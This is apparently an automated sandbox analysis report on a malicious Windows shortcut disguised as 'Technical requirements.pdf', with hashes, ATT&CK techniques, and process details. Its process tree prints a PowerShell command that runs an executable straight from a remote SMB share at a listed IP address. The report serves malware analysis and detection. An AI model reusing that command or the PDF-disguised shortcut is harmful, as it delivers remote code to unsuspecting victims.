1982aa4c747fdf0c764baf3e87ada16ca9f663713b71bb4cbe179a63e4ad6f82

Analysis

max time kernel
135s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
03/06/2023, 17:37

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Report Analysis Logs

General

Target

Technical requirements/Technical requirements.pdf.lnk
Size

2KB
MD5

3e00d17f875b8a32e135b9942a6d9333
SHA1

254b0d03907edc4fb5dc2292a3003349e3a75446
SHA256

545ac29a62357eacff25a226d7a4e8a4d5993e8b7573e08977be3b20c967245a
SHA512

810bc1104387b3608a3c0f93f3e830bd9a808ae1afab964fa23a3467b616d24b6812f86a2a7b33731945ff8f38629649c33478d147b901d81e7b458d75367b92

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2784	powershell.exe
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4368 wrote to memory of 2784	4368	cmd.exe	83
PID 4368 wrote to memory of 2784	4368	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Technical requirements\Technical requirements.pdf.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "\\89.23.98.56\sharedatalnk\System.Messaging.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qrhrotcz.4xu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2784-140-0x000001C1FDBB0000-0x000001C1FDBD2000-memory.dmp

Filesize
136KB

Download
memory/2784-145-0x000001C1FDB60000-0x000001C1FDB70000-memory.dmp

Filesize
64KB

Download
memory/2784-146-0x000001C1FDB60000-0x000001C1FDB70000-memory.dmp

Filesize
64KB

Download
memory/2784-147-0x000001C1FDB60000-0x000001C1FDB70000-memory.dmp

Filesize
64KB

Download
memory/2784-148-0x000001C1FDB60000-0x000001C1FDB70000-memory.dmp

Filesize
64KB

Download
memory/2784-149-0x000001C1FDB60000-0x000001C1FDB70000-memory.dmp

Filesize
64KB

Download
memory/2784-150-0x000001C1FDB60000-0x000001C1FDB70000-memory.dmp

Filesize
64KB

Download